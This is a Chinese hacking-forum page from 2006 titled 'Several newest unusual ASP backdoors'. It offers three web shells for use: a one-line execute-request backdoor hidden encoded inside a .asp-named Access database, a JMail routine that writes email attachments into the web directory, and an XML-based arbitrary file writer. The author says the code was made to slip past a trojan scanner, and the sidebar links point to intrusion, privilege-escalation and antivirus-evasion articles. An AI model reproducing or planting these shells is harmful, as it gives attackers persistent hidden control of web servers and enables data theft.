·	没有路由密码权限时的鸽	08-23	·	上网安全 Vista自我防范	10-11
·	让濒临崩溃的Windows XP	10-11	·	有备无患，快速自制救急	10-11
·	要你好看!Windows看图工	10-11	·	空间赞助网提供不同类型	10-11
·	讨论net.exe和net1.exe的	10-10	·	让3389远程桌面传输更通	10-10
·	巧妙入侵渗透赌博站	10-10	·	Aspx空间扫权限工具	10-10
·	Windows2003最新提权工具	10-10	·	易淘乐提供100M免费全能	10-10
·	系统开机密码忘了不着急	10-09	·	中意网络提供免费100M免	10-09
·	与众不同 Windows XP开始	10-08	·	让桌面图标翻跟斗在XP上	10-08
·	上海宽元站长资助计划-提	10-08	·	个性化Windows XP的任务	10-07
·	趣盘提供3G免费网络硬盘	10-07	·	秀山热线提供200MB免费全	10-07
·	一次艰辛的提权过程	10-06	·	成功入侵IT大卖场的渗透	10-06
·	mysqlhack- MYSQL利用工	10-06	·	lanker一句话PHP后门客户	10-06
·	WIXI提供3G免费多媒体网	10-06	·	新人网络提供100M/ftp免	10-06
·	如何利用QQ带来高流量	10-05	·	UuShare提供免费网络文件	10-05

[推荐]几款最新另类的ASP后门

热荐 ★★★★★

几款最新另类的ASP后门

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2006-11-24 9:25:51

本是为了逃LAKER2兄查ASP木马程序的
现在已经挑战成功，已经加为检查对象了。公布出代码给大家使使，希望大家喜欢！

利用的是ADOX.Catalog组件

程序代码

<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider= Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败，原因： " & err.description
Response.End
end if

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider= Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="Create TABLE fdata([data] Memo)"
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="攠數畣整爠煥敵"　 '(注释记得去掉！一句话后门 execute request(“n”))
rs.update
%>

用Jmail写文件进硬盘

程序代码

<%
　 'codz by kEvin1986 [S4T]
　 User=Request.Form("User")
　 Pass=Request.Form("Pass")
　 Popserver=Request.Form("Popserver")

　 if User<>"" and Pass<>"" and Popserver<>"" then
　　　 Set objmail = CreateObject( "JMail.POP3" )
　　　 objmail.Connect User, Pass, Popserver
　
　　　 set objmsg=CreateObject("jmail.message")
　　　 Set objmsg = objmail.Messages.item(1)
　　　 separator = ", "
　　　 response.write "Attachment Name is: " & SaveAtta & "<br>"
　　　 objmail.Disconnect
　 End if

　 Function SaveAtta()
　　　 Set Attachments = objmsg.Attachments
　　　 separator = ", "
　　　 response.write "The size of this Attachment is: " & objmsg.size & "<br>"
　　　 For i = 0 To Attachments.Count - 1
　　　 If i = Attachments.Count - 1 Then
　　　　　　 separator = ""
　　　 End If

　　　 Set Theatta = Attachments(i)
　　　 response.write Theatta.Name
　　　 Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.Name)
　　　 Response.write "Oh!Hey Guy.....That's OK!"
　　　 Next
　 End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>

利用xml写马

程序代码

<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>　
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%>

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章： aspx的一句话木马

下一篇文章：木马免杀浓缩精华版教程不看后悔-本站论坛精华内容

【字体：小大】

中介交易区

后门程序知识完全解析	01-14
2007年度网马漏洞不完全总结	01-09
简单修改木马壳头让卡巴斯基哑口	09-22
ASPX一句话木马--终极版&详细分析	08-11
认识使用 Rootkit技术的木马	06-12
分析ANI智能网马挂马	06-08
Flash木马是这样练成的	05-18
XML木马研究	05-18
脚本图片类后门病毒的完美使用方	05-16
两个批量挂马脚本	05-11
黑客技术之打造不死的ASP木马的方	04-20
php后门插在图片里执行回显思路	04-06